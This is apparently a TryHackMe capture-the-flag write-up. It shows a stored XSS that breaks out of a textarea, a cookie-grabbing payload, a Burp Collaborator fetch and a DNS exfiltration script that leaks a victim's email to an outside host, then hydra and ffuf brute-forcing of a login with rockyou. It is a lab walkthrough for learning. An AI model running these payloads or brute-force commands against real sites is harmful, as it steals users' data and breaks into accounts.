That's The Ticket - Write-up - TryHackMe

Information

Room#

  • Name: That's The Ticket
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: IT Support are going to have a bad day, can you get into the admin account?

That's The Ticket

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap ctf-party hydra ffuf

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.91 scan initiated Mon Aug  2 15:48:50 2021 as: nmap -sSVC -p- -v -oA nmap_scan thatstheticket.thm
Nmap scan report for thatstheticket.thm (10.10.47.160)
Host is up (0.025s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bf:c3:9c:99:2c:c4:e2:d9:20:33:d1:3c:dc:01:48:d2 (RSA)
| 256 08:20:c2:73:c7:c5:d7:a7:ef:02:09:11:fc:85:a8:e2 (ECDSA)
|_ 256 1f:51:68:2b:5e:99:57:4c:b7:40:15:05:74:d0:0d:9b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Ticket Manager > Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 2 15:49:11 2021 -- 1 IP address (1 host up) scanned in 20.39 seconds

Add the local domain.

1
2
$ grep thatstheticket /etc/hosts
10.10.47.160 thatstheticket.thm

Web discovery#

Let's browse http://thatstheticket.thm/

We can register an account at http://thatstheticket.thm/register

Then I filled a ticket and I can access it at http://thatstheticket.thm/2

blind XSS with DNS exiltration#

Try simple XSS:

1
2
3
4
<!-- Simple payload doesn't work -->
<script>alert(document.domain);</script>
<!-- But if we close the previous HTML tag we can make JS execute -->
</textarea><script>alert(document.domain);</script>

We can use http://10.10.10.100/ Request Catcher service to check try to steal information from someone who will read our ticket.

A Data grabber payload to steal cookies like this is useless since the token cookie has Httponly:

1
2
3
4
</textarea>
<script>
document.location='http://noraj.9d2128b110747bda74e43f0a27867427.log.tryhackme.tech?token='+document.cookie
</script>

Let's try to validate someone is reading our ticket first:

1
2
3
4
</textarea>
<script>
fetch('http://sws7j0wqhtfx6y19r8k5dtryspygm5.burpcollaborator.net/')
</script>

It works with Burp Collaborator client but not with TryHackMe Request Catcher because the log.tryhackme.tech endpoint is broken at the time of writing.

The classic HTTP grabber can't work since the HTTP XHR request is blocked by CORS.

So we will have to exfiltrate the answer by DNS and for that we need to encode the value in hexadecimal.

1
2
3
4
5
6
7
8
9
10
11
12
13
</textarea>
<script>
exfil_endpoint = 'sws7j0wqhtfx6y19r8k5dtryspygm5.burpcollaborator.net';
email = document.getElementById('email').textContent;
function toHex(str) {
var hex = '';
for(var i=0;i<str.length;i++) {
hex += ''+str.charCodeAt(i).toString(16);
}
return hex;
}
fetch(`http://${toHex(email)}.${exfil_endpoint}`);
</script>

With that payload we receive a DNS request to 61646d696e6163636f756e74406974737570706f72742e74686d.sws7j0wqhtfx6y19r8k5dtryspygm5.burpcollaborator.net. from 3.248.180.227.

Now let's decode hexadecimal back to string with ctf-party:

1
2
$ ctf-party 61646d696e6163636f756e74406974737570706f72742e74686d hex2str
edited@redacted.thm

HTTP login brute-force#

From the room answer form we know the password is 6 chars long.

With this command we can keep only 6 chars long password from rockyou.

1
$ grep -E '^.{6}$' /usr/share/wordlists/passwords/rockyou.txt

You can save the 6 chars long wordlist to a file and use hydra for brute-forcing the login form.

1
2
3
4
$ hydra -l edited@edited.thm -P wordlist.txt thatstheticket.thm http-post-form "/login:email=^USER^&password=^PASS^:Invalid email / password combination"
...
[80][http-post-form] host: thatstheticket.thm login: edited@edited.thm password: edited
...

But we can use a file-less technique with ffuf by reading the wordlsit directly from STDIN.

1
2
3
$ grep -E '^.{6}$' /usr/share/wordlists/passwords/rockyou.txt | ffuf -u http://thatstheticket.thm/login -c -w - -X POST -d 'email=edited@edited.thm&password=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fc 401
...
edited [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 26ms]

Now we can connect with the admin account and read the ticket n°1 http://thatstheticket.thm/1 where is stored the flag.

Share